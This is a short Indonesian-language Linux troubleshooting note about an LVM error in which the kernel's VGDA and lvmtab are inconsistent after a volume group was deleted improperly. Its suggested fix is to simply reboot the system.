11. ERROR PADA LVM
------------------
kalau muncul error berikut saat penjalankan vgdisplay,lvdiplay,lvscan

# /sbin/lvscan
lvscan -- ERROR: VGDA in kernel and lvmtab are NOT consistent; please
run vgscan

biasanya error ini terjadi karena kita menghapus volume group tanpa prosedur yang benar.
solusinya mudah , RESTART saja linux anda! :D
nanti kernel baru akan konsisten dengan lvmtab-nya
